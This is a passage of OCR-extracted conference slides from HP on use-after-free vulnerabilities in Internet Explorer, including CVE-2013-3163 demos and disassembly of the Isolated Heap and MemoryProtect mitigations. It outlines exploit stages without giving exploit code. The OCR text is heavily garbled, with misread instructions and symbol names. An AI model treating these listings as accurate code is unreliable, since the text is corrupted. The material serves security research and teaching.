jscript | IDispatchExInvokeExz+0=z0000006a
j=cript | InvokeDispatchEx+0=00000098

Jjscript | VAR : InvokeByHane+0=00000139

j=cript | VAR InvokeDispHame+0=z00000074
jecript |CScriptRuntime: Run+0=x0000208d
jecript | ScrFncCbi i CallVithFrameOnStack+0x000000ce
jecript | ScrFncOby: :Call+0=x0000008d

jscript | CSession: (Execute+0=0000015£



Vulnerability analysis
CVE-2013-3163

Demo
e CVE-2013-3163_1.html - Crash via “null pointer dereference”
- Analysis on what is trying to call the previously freed allocation
e CVE-2013-3163_2.html—Instruction Pointer Control
* CVE-2013-3163_3.html- Code Execution



Mitigations
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Mitigations against Use-After-Free

Isolated heap & memory protection

e Implemented via “Patch Tuesday” July 2014

« DOM objects no longer share heap allocation space with other objects

e Evenif areference count bugis triggered, overwriting that memory block is going to be tricky
* No longer calls system APl HeapFree directly

27 © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.



Mitigations against Use-After-Free

Without IsolatedHeap [IE8.0.7601.17514]

With IsolatedHeap [IE11.0.9600.17207]

tatic long _ stdeall Clopul ::Breateflement (class CHEaTag =, class Choc =, class CFlemenl = =, o _htmlTopul ) proc
arg_o= dword ptr &
arqg dword ptr  GCh
arg 8= dward pte 180
ary_C= duerd plr  15h
Y edi, edi
push ehp
iy vhp, eap
push  78h : dwllytes
push @ ; dflags
push  _g_hProcessHeap ; hHeap
eall Wz Heapd ] Toe ()
test CaK, eax
iz short loc_7hDTBADE

; Attributes: bp-based frame

; public: static long _ stdcall CInput::CreateElement{class CHtmTag =, class CDoc *, class CElement * x, enum
?CreateElementECInputEESGJPAVCHEMT agREPAVCDocEEPAPAVCELementE@E@WS_htnlInputEEEZ proc near

arg_8= dword ptr 8
arg_4 dword ptr BCh

; FUNCTION CHUNK AT 63DB3CAF SIZE B0006087 BYTES

mou edi, edi

push ebp

mou ebp, esp

push esi

push edi |
push 8c Bh ; duBytes

push ] ; dwFlags

push _g_hlsolatedHeap ; hHeap

mou esi, edx

mou edi, ecx

call _HeapAlloc@12 ; HeapRAlloc(x,x,x)
test eax, eax

jz loc_63DB3CAF

_htmlInput)
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Mitigations against Use-After-Free
With MemoryProtect [IE11.0.9600.17207]

Without MemoryProtect [IE8.0.7601.17514]

; Attributes: bp-based frame

5 int _ thiscall CInput:: scalar deleting destructor'{LPUDID lpiem, char}
public: virtual void = _ thiscall CInput:: scalar deleting destructor’{unsigned int) proc near

arg_6= byte ptr 8

11 Elnput:

arg_B= byte ptr 8

it this alar deleting de
?7_GCINpUtBGRUAEPAXIEZ proc near

now edi, edi

push  ebp

now ebp, esp

push esi

now wsi, ecx

call TTICInputEBUALEXZ ; Clinput 4
test [ebp+arg_B], 1

it short loc &3A0440C

uctor® (LPEUAID Dst, char)

eei, esi
short loc_ &3A8KDE

nou edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
lea esi, [edi+aph]
call C3tr:z:_Free(void)
lea esi, [edi+3Ch]
call CStr:z:_Free(void)
mou ecx, edi
call CElemen ~CElement {void}
test [ebp+arg_B], 1
jz short loc_74ESFASH
|
"I
push edi ; 1lpHem
push a ; duFlags
push _g_hProcessHeap ; hHeap
call ds:HeapFree(x,x,x)
h i
=
loc_74ESFASA:
moy eax, edi
pop edi
pop esi
pop ebp
retn 4

public: virtual veoid = _ thiscall Clnput::“scalar deleting destructoer’({unsigned int) endp

- s

r ¥

-

oy ectx, g hisolatedHeap

push  esi : Dbst

eall  ?Protectedfree@CHenorylProtector@ienoryProtection@ascrrayNoas tion: edFr ».ulong,void #)

(R X7

nou
pop
pop

29 © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.

loc_&3008ADE :

retn a
TF_GLINputEIAEFAX 1 endp

eax, esi
esi
whp




Mitigations against Use-After-Free

"I
; Attributes: bp-based frame
; int __stdcall HemoryProtection::CHemoryProtector::ProtectedFree{LPCUDID Dst)
?ProtectedFreeBCHenoryProtector@ienoryProtection@ASCEPAXKBEZ proc near
Memoryprotect var_8= dword ptr -8
var_b= dword ptr -4
Dst= dword ptr 8
; FUNCTION CHUMK AT 635CE96B SIZE 66800612 BYTES
IE1 1 0 9600 1 7207 ; FUNCTION CHUNK AT 636045C3 SIZE 660668619 BYTES
. . . ; FUNCTION CHUNK AT 63626FBC SIZE 6006B017 BYTES
; FUNCTION CHUNK AT 638F2DB0 SIZE 66800023 BYTES
; FUNGTION CHUMK AT 63D6E444 SIZE 60808820 BYTES
mou edi, edi
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
nou edi, [ebpsDst]
mou ebx, ecx
test edi, edi
jz loc_635D 08483
L J
"IEE]
nov eax, ?tlsSlotForInstance@CHemoryProtector@iemoryProtection@@BKA ; ulong HemoryProtection::CHemoryProtector::tlsSlotForinstance
push esi
cmp eax, BFFFFFFFFh
jz 1oc_635CE968
Y
=
push eax ; duTlsIndex
call ds:__imp_ TlsGetValue@Y4 ; TlsGetUalue(x)
nov esi, eax
test esi, esi
jz loc_635CE96B
A J Yy
"IEE] "IEE]
lea eax, [ebp+var_h] ; START OF FUNCTION CHUNK FOR ?ProtectedFree@CHemoryProtector@iemoryProtection@BRSGRPAKKAEZ
mov [ebp+var_u], eax
cnp dword ptr [esi+8], 0| |Loc_635CE96B: ; 1pHen
jz short loc_635D0407 push edi
push [} ; dwFlags
push ebx hHeap
call _HeapFree@12 ; HeapFree(x,x,x)
pop esi
pop edi
pop ebx
nou esp, ebp
pop ebp
retn
s END OF FUNCTION CHUMK FOR ?ProtectedFree@CHemoryProtector@ienoryProtection@ESGRPAKKBEZ
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Future of Use-After-Free vulnerabilities

Implementations on restrictions on reusing allocated free memory blocks
Indirectly calling system memory allocation APIs
Will it ever be mitigated?
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For more information

+ Efficacy of Memory Protection Against « TB3051 - Thinking outside the » Contact your HP rep
Use-After-Free sandbox: Violating trust boundaries in . L .
«  http://h30499.www3.hp.com/t5/HP- uncommon ways * Visit the HP TippingPoint web

site at
www.hp.com/go/tippingpoint

Security-Research-Blog/Efficacy-of-

MemoryProtection-against-use-after- * Brian Gorenc

free/ba-p/6556134#.U9ghJvIHCVN . Jasiel Spelman
* 399‘“_"‘"9 of the end of use-after-free TB3165 - Credit cards for sale: Case * Visit the HP Security Research
exploitation studies of retail malware Blog
. http://researchcenter.paloaltonetworks.c
om/2014/07/beginning-end-use-free- *  Steve Povolny ¢ Visit the HP Security Products
exploitation/ B'. 0

Your feedback is important to us.

Please take a few minutes to complete the session survey.
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http://h30499.www3.hp.com/t5/HP-Security-Products-Blog/bg-p/sws-22
http://h30499.www3.hp.com/t5/HP-Security-Products-Blog/bg-p/sws-22

Please give me your feedback
Session TB3050 Speaker Elvis Collado

Please fill out a survey.

Hand it to the door monitor on your way out.

Thank you for providing your feedback, which

' 1 ’
helps us enhance content for future events. AbL
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